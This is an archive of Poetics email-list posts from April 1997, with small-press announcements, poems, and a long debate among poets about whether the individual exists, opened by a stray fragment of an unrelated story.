"OK, grandma, let's pretend I'm the American officer, " I say. "when I read you the oath, you blink or nod, OK? Try it." But Grandma only smiles. "Bye, bye," she says. She seems so small and frail and far away, fading into nothingness under glaring California sunlight. "Bye, bye."

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[redacted]
450 Mission Street, Room 204
San Francisco, CA 94105
[redacted]

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716. Charles Alexander
chax site
Mon 21 Apr 1997

Dear Poetics Folk:

Chax Press now has a web site which can be found at

http://personal.riverusers.com/~chax/

It's brand new. Most of the kinks have been worked out, but on 3 of the 9 pages there are several images which take some time to download -- hopefully not enough time to go & get a cup of coffee.

Anyone (Loss, Chris Alexander, Pierre, others?) who wants to make a link, please do. I've linked to some of you, but am open to other suggestions as well.

The first 10 people ordering books from the web site, via email, will be given a 50% discount on orders. Prices are on the site. I'll let you know whether or not you were among the first ten.

Also announcing:

a new book:

The Tongue Moves Talk
by Karen Mac Cormack
$11 plus $2 shipping & handling

But all ordering from Poetics before May 10 may have this book for $9, including shipping & handling.
More details about the book are on the web site.

And please email responses to this offer directly to me at [redacted]

From now until the middle of next week I have my poetics set on nomail.

charles alexander
charles alexander / chax press / [redacted]

↑ Index

717. KENT JOHNSON
hasta la vista
Mon 21 Apr 1997

Joel Kuszai informs me that there is something wrong with my server and that I probably haven't been receiving most of the list postings for the past number of days. So if any of my messages have appeared more than once, I do apologize--I haven't seen but one or two of my own appear in the past week or so.

I'm going to unsub for a while and try to flounder through until semester's and summer term's end, but I can be reached (I hope!) backchannel. For what it's worth, the thing about "feeling sorry for the class collaborationists" was just a silly comment. I happen to have become in my mid-years that lowest form of homo-politicus: an armchair social-democrat.

And by the way, David B and George B, I've given up on trying to decode your postings--tantalizing clues, but I now understand that the key is too buried and beyond my reach. You guys are just plain good.

Kent

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718. **Brent Long**
Frank Stanford
Mon 21 Apr 1997

Anybody familiar with Frank Stanford's work? If so, please reply. I have written a web page about him and am interested in hearing from others who have read his work, or who know people affiliated with the Lost Roads Project.

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719. **David Israel**
(no subject)
Tue 22 Apr 1997

Jerry R. addresses Henry G. --

> *...Anyway, this to say I read you with interest in this strange medium.*

I've been reading Henry w/ interest in this strange medium, too -- the chap keeps saying notable stuff.

Seems one might infer, JR, you're new to the mode (& presumably, to the Poetics listserv); -- ergo, as a bystander to the immediate exchange but withal a denizen of the deep [according to a now-current trope, by some semi-consensus anyway] -- I'l presume to say: welcome!

best,
d.i.

(p.s.: As for Eliade, the most influential / interesting book, for me, has been *The Myth of the Eternal Return*; -- ceratinly influenced, for instance, ways in which I understood the work of Meredith Monk & those of her ilk.)

↑ Index

720. **dbkk**
Re: lodging for Poetry and the Public Sphere
Tue 22 Apr 1997

Dear Charles, I hope you find somewhere to stay at the Rutgers conference, but your message posted publicly in error failed to say anything mean about either Bob Perelman or Alan Golding! You owe all of us on the Poetics List a second apology for failing to provide us with the ultimate *frisson de la net.*

> *Dear Kathy:*
>
> *At the last minute here my lodging plans seem to be collapsing. I was going to stay with friends in Philadelphia & commute by train. But now (I won't go into all the reasons) that seems to be impossible.*

> *Bob Perelman has offered me space in his hotel room*

HERE WAS YOUR CHANCE TO SAY--"I would rather eat carpet tacks than share a hotel room with Bob Perelman."

with Alan Golding,
>pending Alan's assent. I'm willing to take a pallet on a floor, or even
>just a floor if it comes to that. And of course I will contribute my share.
>I have emailed Alan asking him

HERE WAS YOUR CHANCE TO SAY, --"But Alan is so cheap he begrudges even the price of an e-mail, and his prostate has become so enlarged I fear he will step on me during one of his fifty trips to the bathroom during each long New Jersey night."

Oops, I had better stop now, I'm getting into this too much, and speak as a fond admirer of Alan, Bob and Charles,

Good luck everyone,
XXX Kevin Killian

↑ Index

721. Miekal And
Re: Frank Stanford
Tue 22 Apr 1997

Brent Long wrote:
>
> Anybody familiar with Frank Stanford's work? If so, please reply. I
> have written a web page about him and am interested in hearing from
> others who have read his work, or who know people affiliated with the
> Lost Roads Project.

Just a quik yah to Frank Stanford's longpoem You, which I remember reading in the late 70s, & damn if Ive even seen another copy of it again since then. Still in print?

Miekal

who lubs & snarks in the background as spring has popped, & someone has to choose between getting the trees in the ground or being boiled & canned in this otherworld listserv....

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:

http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

722. **rsillima**
Two thoughts
Tue 22 Apr 1997

---

1) Has anyone of late thought to mention what a terrific series Sylvester Pollet's Backwoods Broadsides is? If not, let me be the first. Real chapbooks on a single sheet of paper (and without seeming crowded). Many are by poets who are simultaneously widely published but genuinely underappreciated (Enslin, Rochelle Owens, Bern Porter, Anne Tardos, Andrew Schelling, Schwerner coming up soon).

2) Has anyone else noted the genuinely bad start with which the Cubs began their year? I have a theory, called "The Curse of George Will." My evidence is that the Cubs were unable to win until after the big Ginsberg memorial at Temple Emmanuel in San Francisco was complete. The Cubs' minor league teams also have the worst cumulative record in baseball. Jack Spicer would have appreciated this form of torture.

Ron Silliman

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]

When this you see
Remember me

↑ Index

723. **Michael Boughn**
Re: who is social, etc.
Tue 22 Apr 1997

The Present Is a Boat
--for David and Gail Matlin

"folded deep into the science of invisibility

synonym for men and women

--David Matlin, Dressed in Protective Fashion

"No man has any longer, the permission of maintaining the armor of his distance. The thing must be dragged into the light. The wheels of the sun must be unstuck."

--Charles Olson, "History" (1952)

"Sometimes the ship was replaced by a plough, and the rustic ceremony of Plough Monday in England is a relic of the same religious rite performed in honour of the Teutonic Isis."

--Sabine Baring-Gould, Curious Myths of the Middle Ages

The present is a boat, in which
flies gather, and yet there is
room for more, distance that is,
to get away from all things coming
into their own, bumping even into
their husks left from before, the
former time serving as tenebrous
sea for the sluggish movement of
differentiation, what puts us,
the rowers, in phase at last, &
without wine or sex, the pleasure
of being heard after all the din
has ceased, history made small, cut
out of all this here to make sail.

--John Clarke, In the Analogy, Book 2

↑ Index

724. Michael Magee
Re: who is social, etc.
Tue 22 Apr 1997

Dale wrote: "I'm sure one's will consists of more than only social conditioning. But even if it didn't, that would be all the more reason for the individual to engage the world with all of his or her idiosyncratic, chaotic, and impulsive gestures."

One more Creeley quote (I've been reading his essays) in reference to this: "I want to give witness not to the thought of myself - that specious concept of identity - but, rather, to what I am as simple agency, a thing evidently alive by virtue of such activity."

That seems about right to me.

-Mike.

↑ Index

725. Pierre Joris
Re: who is social, etc.
Tue 22 Apr 1997

henry wrote:
>
> Agent, yeah. How many of you know that poet extraordinaire some say father
> of the english pentameter was a secret agent? Christopher Marlowe.
> We may not be individuals, Mark of D.C. & Jeff of Minneysnapolis,
> but we're all agents under the cloak. How about that for a lurkers
> moniker? Agent. I'm just listening in: I'm an agent.
> - Henry Bigmouth of Smallstate (not a gent, neither. a-gent)

& when is someone going to reprint Muriel Rukeyser's _The Traces of
thomas Harriot_ which has gorgeous chapters on said Chris Marlowe & the
unfunny end he came to. --Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

726. henry gould
Re: who is social, etc.
Tue 22 Apr 1997

On Mon, 21 Apr 1997 15:02:05 -0700 Mark Weiss said:
>Here's a plea from a guy named Mark: there's more than one of us out here.
>Please use a last initial (or an honorific title or heroic attribute) to
>identify. I got an instant case of heartburn from the following.
>I bet this applies to other names as well.

O.k., Mark of the Junction.
- Henry of the Brown

(as my Uncle George used to sing: "What's the color of horse manure? Brown, Brown, Brown.")

↑ Index

727. **henry gould**
Re: Two thoughts
Tue 22 Apr 1997

---

second the motion on the Backwoods series. A great idea & very well- produced. We're thinking of following suit down here in the (little) city.

- Henry of Providence

↑ Index

728. **henry gould**
Re: who is social, etc.
Tue 22 Apr 1997

On Tue, 22 Apr 1997 07:13:14 -0400 Michael Magee said:
>
>One more Creeley quote (I've been reading his essays) in reference to
>this: "I want to give witness not to the thought of myself - that specious
>concept of identity - but, rather, to what I am as simple agency, a thing
>evidently alive by virtue of such activity."
>
>That seems about right to me.

There is an article in today's NY Times science section about biologists' take on the concept of the self. Unsurprisingly, they see it as a deep- seated social survival mechanism (by deep-seated I mean back to the membrane separating individual amoebae). They also differentiate between cold-blooded reptiles, which have a basically defensive, passive response to environment, & mammals, whose warm-bloodedness allows for more initiative & creativity.

As far as humans go, they focus on the symbiosis of self & social environment; the stronger the sense of individuality, the more complex & "successful" the survival in the community. There's more but I just skimmed it.

Remember Joe Poet, or was it Josephine? The one who always pushed to the front of the line at the open mike & read his poem about how he felt after he stubbed his toe on a fire hydrant & what it meant for his neighborhood, city, nation, cosmos? Remember? Remember? God, his poems were lousy.

Mandelstam talks about poetry as a surging force, pre-existing. & yet particularly in his Voronezh poems (a new translation, _Voronezh Notebooks_ from Bloodaxe Bks, is out there. Mandelstam is the greatest) the "lyric" is personal, personal, wild, wild, personal, surviving voice, surviving challenging & submitting to & condemning his coyote-enemy, Stalin.

I think the practice of any kind of work for any length of time brings anonymity - the ego getting caught up in the form of the work - but I think his denial of self here is a little... uh.... oh shut up for a while, Henry [Blarnes here]... Henry, go draft a mule & join the ass-backwards brigade [Spandrift talkin]... ok. ok. guys. I'm gonna shut muh trap for three days & then rise from the keyboard. [Gould]

↑ Index

729. **Rachel Loden**

Re: no no nanook(ie)

Tue 22 Apr 1997

George Bowering wrote:

> *Yeah, that's what you say NOW. Bromige told me about Granby, Quebec. So you got to see the boxers with the little anchor design, eh?*

Nah. But I guess we know who DID get a good hard look at them.

Rachel

↑ Index

730. **Dale Smith**

Re: divine continued

Tue 22 Apr 1997

Mark Wallace-
You wrote:

> *The history of the individual is directly tied to the history of economic and racial exploitation that marks the history of capitalism; "individuality" becomes the basis for a class of owners to manipulate workers in the name of the "individual's" freedom to seize resources (a process usually referred to as "the right to make a profit"). The "individual" posits a notion of human beings as self-contained, discrete, brought into existence by a divine declaration, and not responsible to anyting beyond their own individuality.*
>
> *I see nothing in the process of creation that is "individual," if one means by that self-contained, discrete, and in any sense absolute rather than provisional. Creativity emerges in responsiveness, contact, that place where the human mind finds itself not singular and individual*

> *but IN RELATION TO THE WORLD.*
>
> *There are no individuals--I guess I'm going to have to say that again.*

Why should a concept of the individual necessarily be the "creation of something divine?" Also, what is troubling about positing "'MAN' as the centralized authority over all experience?" And why do the above descriptions of the "individual" seem so flat, dissected, and clinical? Why do you narrowly label the individual as something "self-contained, discrete, and in any sense absolute rather than provisional?" And if Capitalism still exists, how did the individual slip away, if the individual, as you mention, is a construction by which Capital perpetuates itself? In such a society, it seems that the lyric voice of personal suffering would offer a more valid proof of individual struggle in the face of mounting opposition. Personally, I think Capital needs the concepts of the social in order to flatten the greater dimensions of the individual. Social constructions erase deeper, more ancient impulses, wherever they come from, in order to pacify the present capitalist structure.

I do not like using this kind of highfallutin, distant and conceptual language. But what you, Mark Wallace lack, as well as myself in this instance, is personal testimony, concrete examples, a language dedicated, like good poetry, to the contradictions and myriad pressures of experience. Maybe there is a place in philosophy for this kind of language. But I do not understand the benefit, indeed the truth, in your statement, "there are no individuals."

Dale

↑ Index

731. David W. Clippinger
talisman
Tue 22 Apr 1997

Talisman address:

Ed Foster
Talisman
Box 3157
Jersey City, NJ 07303-3157

All best,
David Clippinger

↑ Index

732. Sylvester Pollet
Re: lubbers
Tue 22 Apr 1997

I like lubber, lubbing. "What'd you do today, dear?" "Lubbed." But then I had another brilliant idea--ask that group to name themselves. Great paradox, as none can propose a name without leaving the group! Hah! sp

> *So that one might well hail: "Ahoy there, ye listlubbers!" As the list lists, to starboard or port, ask these ex-lurkers to rush to place their weight on the side thats lifting out of the water. Well done, Aldon. But will language prove amenable to a good idea, after years of practice? db*

↑ Index

733. Jeff Hansen
(no subject)
Tue 22 Apr 1997

henry gould <[redacted]> writes:

I canna resist emphasizing a little further. If you deny individuality exists in the writing process, you might as well deny the importance or even existence of individuality per se. Is this what you're saying?

Nothing personal - but I find this a malignant doctrine. Deny the existence of the individual & you might as well start the train cars rolling for the camps. Nothing personal - I sense from M & J's posts over the years that you are both young serious-minded fellows of good character & strong feeling & ideals - maybe you even look alike!!! But this retread of the negation of the human individual comes from reading too many books in political science, fellas. & you is wrong.

Now please don't accuse me of heatin' up the rhetoric, cause I ain't. I just look at Stalinism & Fascism & all manner of superior authoritarian- isms & hear the same noises. & I agree in advance that Individualism could also become some kinda twisted anti-human ideology. & profit & property have justified their stealth on half-notions of the individual. But don't throw out the BABY with the... - Henry G.

I better respond to this one. Whoa!

1. Mark W. discussed individualism and the Western tradition. My use of the term is different than his: I think of "individualism" in its current manifestation, as emanating from certain strains of Romanticism, the most obvious example of which is Coleridge's "Kubla Khan." I agree that individualism is not around, at least not in the same form, in earlier periods.

2. Henry--any ideology can be used to send people to death camps. My guess is that more people have been killed in the names of Karl Marx and Jesus Christ than in the names of all the rest of humanity combined. Both were more interested in liberation than repression. The tyrants grab hold of any ideology that will work and use it to hurt. Let's not fool ourselves: ideas for tyrants are not as important as they are for us thinking types. For them, they are no different than a brick, baton, bullet or bomb.

3. I believe in improvisation, transfiguration, torquing, twisting, and altering given social materials. Some of the materials forge us -- the ones we forget -- and some we act upon. If you want to call this work individualism, be my guest (as Conrad Hilton would say.)

4. Funny to find myself here -- in graduate school my interest in pragmatist philosophy, before the big resurgence in John Dewey studies, caused me to be called "naive" by Continental theory heads who didn't think I was taking the "Death of the Author" far enough.

5. Five years ago, Mark Wallace and I began a dialogue with the clause "there is no such think as Language" as a way of critiquing the totalizing and structuralist tendencies of much of Continental Theory. We advocated the messiness of languages, plural, instead.

6. Henry -- It follows from 5 that you're aiming at the wrong "culprits." Find the "real" ones.

7. About babies and temperments -- of course there is something natural here. I've been around too many to believe in tabula rasa. Then again, it's a long walk from genetic predisposition to Romantic Individualism.

8. No hard feelings -- i luv it when the rhetoric heats up. Let down your hair and drop trousers, gang!

Best,

Jeff

P.S. Neither Mark nor I intend on trying to send people to death camps any time soon. Nor do we plan on aiding any individual or regime who does attempt to do so. In fact, our tendency would be to oppose such an individual or regime. I can only speak for myself on this one, but I would do so by any means necessary.

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734. Sylvester Pollet
Re: Two thoughts
Tue 22 Apr 1997

Thanks, Ron. The two latest have just gone out, #26 A Real Toad, by Jennifer Craig Pixley (the allusion to Marianne Moore recently discussed) and #27 Between Ourselves, by Peter Money. July will bring Zwyczaj/Mark Nowak, and Family Tree/Mary de Rachewiltz. October, Armand Schwerner & Amiri Baraka. Anyone on the list can have a free sample (they sell for a buck apiece ppd.) or subscribe for $10. Sylvester Pollet RR 5 Box 3630 Ellsworth ME 04605.

> *1) Has anyone of late thought to mention what a terrific series Sylvester Pollet's Backwoods Broadsides is? If not, let me be the first. Real chapbooks on a single sheet of paper (and without seeming crowded). Many are by poets who are simultaneously widely published but genuinely underappreciated (Enslin, Rochelle Owens, Bern Porter, Anne Tardos, Andrew Schelling, Schwerner coming up soon).*
>
> *2) Has anyone else noted the genuinely bad start with which the Cubs began their year? I have a theory, called "The Curse of George Will." My evidence is that the Cubs were unable to win until after the big Ginsberg memorial at Temple Emmanuel in San Francisco was complete. The Cubs' minor league teams also have the worst cumulative record in baseball. Jack Spicer would have appreciated this form of torture.*
>
> *Ron Silliman*
>
> *Ron Silliman* *When this you see*
> *262 Orchard Road* *Remember me*
> *Paoli, PA 19301-1116*
> [redacted]
> [redacted] *(o)*
> [redacted] *(fax)*
> [redacted]
> [redacted]

↑ Index

735. henry gould
(no subject)
Tue 22 Apr 1997

On Tue, 22 Apr 1997 08:17:49 -0500 Jeff Hansen said:
>
>2. Henry--any ideology can be used to send people to death camps. My
>guess is that more people have been killed in the names of Karl Marx
>and Jesus Christ than in the names of all the rest of humanity

>combined. Both were more interested in liberation than repression.
>The tyrants grab hold of any ideology that will work and use it to
>hurt. Let's not fool ourselves: ideas for tyrants are not as
>important as they are for us thinking types. For them, they are no
>different than a brick, baton, bullet or bomb.

This is a very important point. But you have to be an individual to
stand up to them.
>
>5. Five years ago, Mark Wallace and I began a dialogue with the clause
>"there is no such think as Language" as a way of critiquing the
>totalizing and structuralist tendencies of much of Continental Theory.
>We advocated the messiness of languages, plural, instead.

I agree with you guys there. There is no such thing as language. See my
400 pp. post on the Language Chat List for further extended commentary on
this position.
>
>7. About babies and temperments -- of course there is something
>natural here. I've been around too many to believe in tabula rasa.
>Then again, it's a long walk from genetic predisposition to Romantic
>Individualism.

But it's an even longer stretch from Romantic Individualism to McDonald's
in Dinkytown. And an even LONGER stretch from there to what you guys said:
"the individual does not exist."
>
>P.S. Neither Mark nor I intend on trying to send people to death camps
>any time soon. Nor do we plan on aiding any individual or regime who
>does attempt to do so. In fact, our tendency would be to oppose such an
>individual or regime. I can only speak for myself on this one, but I
>would do so by any means necessary.

A word (in non-language) to the entire list: see how I get people talkin? Just accuse them of sending people to camps! (I learned this at boy scout camp) - the temporarily non-existent Henry Gould

↑ Index

736. **Brent Long**
(no subject)
Tue 22 Apr 1997

Thank you, Henry!

↑ Index

737. Mark Wallace

"the divine analogy which is the unity of the human race"?

Tue 22 Apr 1997

Mark Weiss, Henry Gould and others:

Thanks for your lively responses to my recent post. I'm sorry to have to continue to argue with you here.

Mark: Quite simply, to say that one is socially constructed says nothing about one's ability to respond to social constructedness, and to effect change. Rather, one might construct a social notion of that field of activity reduced to the term "individual" as a SOCIAL site where various kinds of social activities are focused and rearranged. As M. Magee (do I have this name right?) points out, there is already a history of literary discussion of this kind of social activity of the human. I would suggest also the work of ERVING GOFFMAN, who in books like SOCIAL INTERACTION and others works very particularly with the notion of what he calls "face work," constructing in the process an idea of human identity as a series of responsive gestures to social phenomena, gestures that can include many types of resistance, rewriting, and possibility. But none of these possibilities are EXTRA-SOCIAL; rather, Goffman's idea is that "personality" (choose what word you will) is this SERIES OF PERFORMATIVE SOCIAL CHOICES).

Henry: I appreciate your appreciation of my "youthful seriousness"--I'd thank you for your "adult seriousness" if I was sure that you were any older than I am. Perhaps I should have been more particular in my detailing of philsophical history; yes, it's true that Greek philosphy does not create the modern notion of the individual. I think it's more traditional to start with Descartes in this regard, moving up through Kant, etc. But I'm not sure I want to go into details here. Rather, it seems to me that in such phrases as "the divine analogy which is the unity of the human race," and "individuality is the gist" and "humanity is the living manifestation of the divine image" simply repeats the western history of a coercive "center elsewhere" that posits its goal of reducing all difference to the sameness of "individuality" in the name of a divinity to which it claims access. I have no problems with considering the possibilities in the sacred, per se: rather, I have intense problems with the philosophy and cultural critique you launch in the name of a divinity which you understand as "unity," but in which I see no presence of any unity.

As to whether one goes to news reports for the details of scientific surveys (and indeed whether one goes to such surveys as the authoritative source on what constitutes the life of the human (I do NOT say individual), I'll leave it up to you to decide whether or not those sources are disinterested and trusthworthy, or biased by social factors.

But again, thanks for your response on this; it's made clear to me that our differences here are profound.

My apologies for my inability, on this modem, to correct typos.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

738. **amato**
Re: who is social, etc.
Tue 22 Apr 1997

henry, your last remarks about the individual struck me as perfectly appropriate for earth day!... in any case, and not to sound at all aloof here, i can't really see the controversy i've been reading re invidual VS. social -- henry, jeff, mark, others -- to the extent that recourse to the social, even in the hands of somebody like foucault, need not do away with human agency... sure, agency would seem to take a beating, as it were, when one considers any larger, group context, esp. in historical terms (whether social or ecological)... of course there is a sense that one is already written, even as one writes, owing largely to the social dimension of language practices...

but, but the question of the individual is surely a matter of continual negotiation, yes? (sorry for this word, btw, "negotiation"---it's a bit too fashionable, too currency-driven perhaps, but i'll stick with it)... in fact, one could say that the self, whatever it is or they are, is always in the midst of processes of self-negotiation (by which i do mean to invoke some cognitive processing too)... you get human agency, and the creative, in the work of raymond williams, just as you get it in dewey... you get individual agency in bateson, even as you get it in spivak...

what one does with one's sense of agency, or individuality, is another matter... i suppose, setting aside empirical research, this is what most interests me---what our obligations, responsibilities, possibilities are as individual agencies (and as a species) who are so caught up in our various social-ecological-cosmic (to be just a bit oracular here) settings... which opens more to that other thread---"what is white?"---and could open into another, more eco/onto-oriented thread too---what is human?... but you really can't ask one question, i think, without reflecting on the other, esp. when you consider that, in the u.s. not all

that long ago, those who were non-white were "officially" considered by many to be non or sub-human, and surely not full-fledged "citizens"...

i mean, it's in bringing ourselves to ourselves, whatever we are and whoever we think we are---as anything but a solipsistic gesture---that things get complicated, no?...

anyway, happy earth day, folks, and a belated happy passover!...

best,

joe

↑ Index

739. **Douglas**
new Sun & Moon titles
Tue 22 Apr 1997

Sun & Moon Press is happy to announce the
publication of three new titles, which, as
usual, we will offer those on the Poetics List
a 20% discount.

NOTHING THE SUN CANNOT EXPLAIN: 20 CONTEMPORARY
BRAZILIAN POETS, edited by Michael Palmer,
R►gis Bonvicino and Nelson Ascher, with a Foreword
by Joao Almino.

Contains work by 20 younger Brazilian poets, including
Duda Machado, Paulo Leminski, R►gis Bonvicino,
Arnaldo Antunes, and Claudia Roquette-Pinto. Bi-lingual,
English and Portuguese. 312 pages, $15.95. This is the
second of Sun & Moon's International Anthology series.

FRAME (1971-1990), by Barrett Watten.

Finally comes the long-awaited collection of the work
of Barrett Watten, including OPERA--WORKS, DECAY, 1-10,
PLASMA/PARALLELES/"X," COMPLETE THOUGHT, CONDUIT, and
the previously uncollected texts, CITY FIELDS and FRAME.
Paperback $13.95 (336 pages).

THE CRITIC AS ARTIST, by Oscar Wilde
The third offering of Green Interger's series of prose
writings, Wilde's great essay is as fresh today as it was
upon its original publication in 1888. $9.95

As usual, you can order directly through E-Mail at
[redacted] or [redacted] or through
our E-mail on our website: www.sunmoon.com

Douglas Messerli

↑ Index

740. **nuyopoman**
http://poetry.miningco.com
Tue 22 Apr 1997

I seem to have become a miner, like my grandfather.

A Jew in New York

Like everybody else, I wasn't a Jew
Until I came to New York. In Portland, OR,
The other day, a young Latina asked me
If I were Jewyorican. Papa and Bubby
Came from Ukraine, landed in Brooklyn,
Settled in Harlan, KY, and named my father
Benjamin Franklin. My mother, the offspring
Of a coalminer, married Ben, the only Jew
In town. He didn't last. Ma remarried.
In kindergarten, in Cincinnati, instead
Of moving to the afternoon session the second

Semester, I stayed in Morning and changed my name.
This is the year 5755. In Chinese it is Year
Of the Dog. I am 45 years old, and learned that
The time between Rosh Hashona and Yom Kippur
Are the Days of Awe. Moody and gray, with dashes
Of absolute clarity, I love these days. Cleansing
The summer's sweat from the streets of New York,
I always think of the Year beginning in September.
"That's when school starts." A holdover from Youth.
This year, 1994, for the first time I thought,
Hey, it's the real New Year, and I am a real Jew.
A real Jew, and a real coalminer's son, too.

Bob Holman's Mining Company site is http://poetry.miningco.com

↑ Index

741. **Brent Long**
Re: http://poetry.miningco.com
Tue 22 Apr 1997

Very nice, Bob. Heard you, Brenda, and Lisa had a great time in Hollywood. I had a blast having Wammo stay here a couple of months ago, but DAMN!...too much testosterone for just one man, don't you think? Anyway, take care.

↑ Index

742. **henry**
Re: "the divine analogy which is the unity of the human race"?
Tue 22 Apr 1997

On Tue, 22 Apr 1997 09:58:52 -0400 Mark Wallace said:
>
> Henry: I appreciate your appreciation of my "youthful
>seriousness"--I'd thank you for your "adult seriousness" if I was sure
>that you were any older than I am. Perhaps I should have been more
>particular in my detailing of philsophical history; yes, it's true that
>Greek philosphy does not create the modern notion of the individual. I
>think it's more traditional to start with Descartes in this regard, moving
>up through Kant, etc. But I'm not sure I want to go into details here.
>Rather, it seems to me that in such phrases as "the divine analogy which
>is the unity of the human race," and "individuality is the gist" and
>"humanity is the living manifestation of the divine image" simply repeats
>the western history of a coercive "center elsewhere" that posits its goal
>of reducing all difference to the sameness of "individuality" in the name
>of a divinity to which it claims access. I have no problems with
>considering the possibilities in the sacred, per se: rather, I have
>intense problems with the philosophy and cultural critique you launch in
>the name of a divinity which you understand as "unity," but in which I see
>no presence of any unity.

Well, you can lump Descartes & Judeo-Christianity together if you want, but it's pretty lumpy. Descartes "think therefore I am" ego is a truncated version of what I'm talking about. What I'm talking about is not exactly western: it's probably most directly & simply presented in Byzantine art: humanity as the mirror-imago of spirit. It's not an other-centered divinity: it's many-in-one. And it's not necessarily anthropomorphic in another (differe nt) truncated sense. The mirror-image acknowledges the imageless, the unrepresentable, the-- "I am".

- Uncle Nobodaddy

↑ Index

743. **henry**
Re: who is social, etc.
Tue 22 Apr 1997

Agent, yeah. How many of you know that poet extraordinaire some say father of the english pentameter was a secret agent? Christopher Marlowe. We may not be individuals, Mark of D.C. & Jeff of Minneysnapolis, but we're all agents under the cloak. How about that for a lurkers moniker? Agent. I'm just listening in: I'm an agent. - Henry Bigmouth of Smallstate (not a gent, neither. a-gent)

↑ Index

744. **Jordan Davis**
Rukeyser Reprints
Tue 22 Apr 1997

Pierre == Muriel Rukeyser's being celebrated here at Teachers & Writers on May 8 (reservations required, call now). I'll ask Jan Heller-Levi, the editor of the MR Reader and instigator behind the recent string of MR reprints (I think), whether the book you mention is coming back. ##Jordan On Tue, 22 Apr 1997, Pierre Joris wrote:

> *henry wrote:*
>
> *Agent, yeah. How many of you know that poet extraordinaire some say father of the english pentameter was a secret agent? Christopher Marlowe. We may not be individuals, Mark of D.C. & Jeff of Minneysnapolis, but we're all agents under the cloak. How about that for a lurkers moniker? Agent. I'm just listening in: I'm an agent.*
> *- Henry Bigmouth of Smallstate (not a gent, neither. a-gent)*
>
> *& when is someone going to reprint Muriel Rukeyser's _The Traces of thomas Harriot_ which has gorgeous chapters on said Chris Marlowe & the unfunny end he came to. --Pierre*
> *--*
> *==========*
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax [redacted] email:[redacted]*
> *http://www.albany.edu/~joris/*
> *----------*
> *Everything that allows men to become rooted, through values or sentiments, in _one_ time, in _one_ history, in _one_ language, is the principle of alienation which constitutes man as privileged in so far as he is what he is, [...] imprisoning him in contentment with his own reality and encouraging him to offer it as an example or impose*

> *it as a conquering assertion. -- Maurice Blanchot*
> *==========*

↑ Index

745. **Jordan Davis**
E Berrigan & M Owen at Poem Town
Tue 22 Apr 1997

POETS

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read their poetry at POETRY CITY (NY)

in the offices of Teachers & Writers Collaborative

5
 Union
     Square
         West
             7th
                Floor

THURSDAY APRIL 24 7 - 8:30 PM

upcoming events
Friday May 2 Galaxy Craze / Bruce Morrow
Friday May 9 Trish Hampl / Tracie Morris
Friday May 16 Bob Holman / Douglas Rothschild

↑ Index

746. **David Kellogg**
Re: re-post re: Yasusada
Tue 22 Apr 1997

At 06:54 PM 4/21/97 +0600, KENT JOHNSON wrote:
>

>David:
>Doubled Flowering: From the Notebooks of Araki Yasusada, will be
>published by James Sherry's Roof this fall--the complete
>manuscript of poems, letters, and marginalia, along with a "critical
>appendix." But I have to ask what you mean by my "generally nimble
>responses to queries on this score," since the truth is that no one
>has ever asked me anything on this list and thus I have responded to
>nothing! On the Sokal thing, it's the hope of those involved in the
>Yasusada that it won't be reduced to that level. Yasusada is much
>more than a trick.

Kent,

Glad to hear the notebooks are being published. As for "nimble responses" etc., I was recalling -- probably badly -- a sense in the Lingua Franca article that you had been somewhat, well, cagey. If they never contacted you, or if I remembered wrongly, I apologize. (On the other hand, I also recall quite admiring the stance I perceived.)

Of course, the Sokal event is different. But the evasion of responsibility by the editors of Social Text is not, I think, any more obtuse than the retraction of Yasusada by APR. Yasusada is more than a trick, yes, and more than Sokal.

Cheers,
David
~~~
~~~

history of claiming "MAN" as the centralized authority over all experience, however that "MAN" is related to the "divine" (usually, in this history, the "divine" is what gave "man" his primacy). This specific history of the individual is directly tied to the history of

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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748. william marsh
Cubbies
Tue 22 Apr 1997

2) Has anyone else noted the genuinely bad start with which the Cubs began
>their year? I have a theory, called "The Curse of George Will." My evidence
>is that the Cubs were unable to win until after the big Ginsberg memorial at
>Temple Emmanuel in San Francisco was complete. The Cubs' minor league teams
>also have the worst cumulative record in baseball. Jack Spicer would have
>appreciated this form of torture.

Karmic balancing of the remarkable winningness of Jordan, et al.

And given Spicer's love of baseball, any poets (here or there) with a similar love of BASKETball?

bill marsh

↑ Index

749. Mark Wallace
divine continued
Tue 22 Apr 1997

The history of the individual is directly tied to the history of economic and racial exploitation that marks the history of capitalism; "individuality" becomes the basis for a class of owners to manipulate workers in the name of the "individual's" freedom to seize resources (a process usually referred to as "the right to make a profit"). The "individual" posits a notion of human beings as self-contained, discrete, brought into existence by a divine declaration, and not responsible to anyting beyond their own individuality.

I see nothing in the process of creation that is "individual," if one means by that self-contained, discrete, and in any sense absolute rather than provisional. Creativity emerges in responsiveness, contact, that place where the human mind finds itself not singular and individual but IN RELATION TO THE WORLD.

There are no individuals--I guess I'm going to have to say that again.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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750. **Mark Weiss**
Re: who is social, etc.
Tue 22 Apr 1997

To Quick Henry:

Mark of the Junction is good. Mark of the Beast would also be acceptable.

At 08:07 AM 4/22/97 EDT, you wrote:
>On Mon, 21 Apr 1997 15:02:05 -0700 Mark Weiss said:
>>Here's a plea from a guy named Mark: there's more than one of us out here.
>>Please use a last initial (or an honorific title or heroic attribute) to
>>identify. I got an instant case of heartburn from the following.
>>I bet this applies to other names as well.
>
>O.k., Mark of the Junction.
>- Henry of the Brown
>
>(as my Uncle George used to sing: "What's the color of horse manure?
